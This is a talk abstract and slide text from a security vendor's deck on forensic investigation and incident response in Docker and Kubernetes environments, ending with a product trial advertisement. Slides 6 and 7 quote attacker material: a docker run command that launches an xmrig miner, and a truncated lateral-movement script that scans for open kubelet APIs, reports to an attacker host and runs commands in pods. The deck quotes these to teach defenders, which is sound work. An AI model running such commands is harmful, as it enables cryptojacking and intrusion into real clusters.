The talk "Kubernetes and Docker Forensics & Incident Response" will focus on the Digital Forensics and Incident Response (DFIR) investigation of containerized environments using Kubernetes and Docker. With the increasing adoption of containerization technologies, it is crucial for organizations to have a robust security strategy in place to handle security incidents. This talk will cover the key concepts of containerization technologies such as Docker and Kubernetes, and their security implications. We will discuss the forensic techniques and methodologies that can be used to identify the root cause of security incidents in these environments, including container forensics, network traffic analysis, and memory forensics. The talk will also provide insights into the challenges and limitations of conducting a DFIR investigation in a containerized environment, such as the ephemeral nature of containers and the need for specialized tooling. Attendees will learn about the best practices for implementing logging and monitoring in Docker and Kubernetes environments, as well as the importance of having a well-defined incident response plan for containerized environments. Overall, this talk will provide valuable insights into the DFIR investigation of containerized environments using Kubernetes and Docker, and how organizations can better prepare themselves to respond to security incidents in these environments.

1. Kubernetes/Docker
Forensics & Incident
Response
Cado Security | 1

2. Building a Container Forensics
Incident Response Plan
When building a container forensics incident response plan,
there are three main focus areas to consider:
Preventative
Measures
Preservation &
Investigation
Planning &
Testing

3. Preventative Measures
Preventative measures can help reduce the risk of container compromise:
● Restrict access to kubectl and the Docker/Kubernetes APIs
● Ensure Kubernetes and Docker and the containers running within are kept
patched and up to date
● Create an allow-list for inbound and outbound network traffic

4. Preservation & Investigation
In the event an incident occurs, it is critical to preserve the evidence that’s
required to allow for an in-depth investigation:
● Never destroy the node when compromised! This will make it impossible
to identify root cause
● Determine which evidence you plan to capture and ensure its enough
visibility to determine root cause and impact -- remember, the more data
sources you can analyze, the better your investigation will be
● Have a plan for how to capture the data you need and test your ability to
capture it- given the dynamic and ephemeral nature of containers,
automation is key
● Know how to snapshot the host that contains the containerized disks

5. Planning & Testing
As always, planning and testing is crucial to ensuring alignment and overall
success in the event a major incident occurs:
● Assign an incident response lead to serve as the primary decision maker
during a major incident
● Determine which parts of the business you need to communicate with in
the event a breach occurs
● Understand what legal and/or customer obligations you have following a
major incident
● Decide what’s considered a high-severity incident, and implement
escalation processes and procedures
● Conduct red team exercises and assessments to continuously improve
your security defenses and be best prepared for a real-world data breach

6. How Attackers are Compromising
Containerized Systems
Below is an example command attackers use to start a malicious Docker
container on a compromised host using the “docker run” command:
docker run --name sosmsen2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAi
A4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1
We often also see attackers spin up the official xmrig docker containers too. In
general, if you see a container running with “xmrig” in the
name, it usually means an investigation is required.
#1 Running Local Docker Commands

7. Below is an example shell script attackers use to move laterally on a
compromised network by finding open Kubernetes APIs on the default port
10250 and 10255:
kube_pwn(){
LRANGE=$1
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan --open -p10250 $LRANGE --rate=250000 | awk '{print $6}')'";
for ipaddr in ${!rndstr} ; do
if [ -f $TEMPFILE ]; then rm -f $TEMPFILE; fi
timeout -s SIGKILL $T1OUT curl -sLk https://$theip:10250/runningpods/ | jq -r '.items[] |
.metadata.namespace + " " + .metadata.name + " " + .spec.containers[].name' >> $TEMPFILE
KUBERES=$?
if [ "$KUBERES" = "0" ];then
curl -sLk http://45.9.148[.]85/chimaera/up/kube_in.php?target=$theip
while read namespace podname containername; do
timeout -s SIGKILL $T1OUT curl -XPOST -k
https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt update --fix-missing"
.....
#2 Exploiting the Kubernetes API

8. Investigating Compromises in
Containerized Environments
Let’s say you’ve received an alert indicating the presence of monero mining
malware on a Kubernetes host. First and foremost, it’s important
to understand whether the compromise is in the host or in
the container/pod.
Below we’ll investigate a compromised Docker container using the overlay2
file system. The screenshots below are captured from the Cado Response
platform, but the filenames and forensic principles will map to other
toolsets:

9. By reviewing setup_moneroocean_miner.sh, we are provided with a
number of additional pivot points to continue our investigation:

10. Many coin miners exploit open Docker and Kubernetes APIs. The JSON format
logs under /var/lib/docker/containers may record access and execution. In the
example log below, we can see an xmrig container spinning up:

11. A Brief Introduction to the
Docker File System
Docker supports a number of storage drivers:
● overlay2 is the one you will most commonly see. You will be able
to identify it by the name "overlay2" in the folder names
● aufs was the preferred driver in Docker 18.06 (February 2019
release) and older
● fuse-overlayfs is used for Rootless Docker on older hosts
● devicemapper is used for older versions of CentOS and RedHat
● btrfs and zfs are used for enterprise deployments with more
complicated snapshotting requirements
● vfs is used in testing

12. overlay2
Overlay2 is the file system you are most likely to see.
It’s also versioned, which helps preserve evidence of attacks.
Separate containers are kept in their own folders:

13. AWS EKS Logs Stored in AWS
It's important to also analyze AWS logs that are generated for EKS systems.
These contain metadata around starting and stopping containers.
Below you can see a view of AWS logs collected in Cado Response:

14. Acquiring an Amazon EKS System

15. Cado Response
Free 14-day trial
Receive unlimited access to
the Cado Response Platform
for 14 days.
www.cadosecurity.com/free-investigation/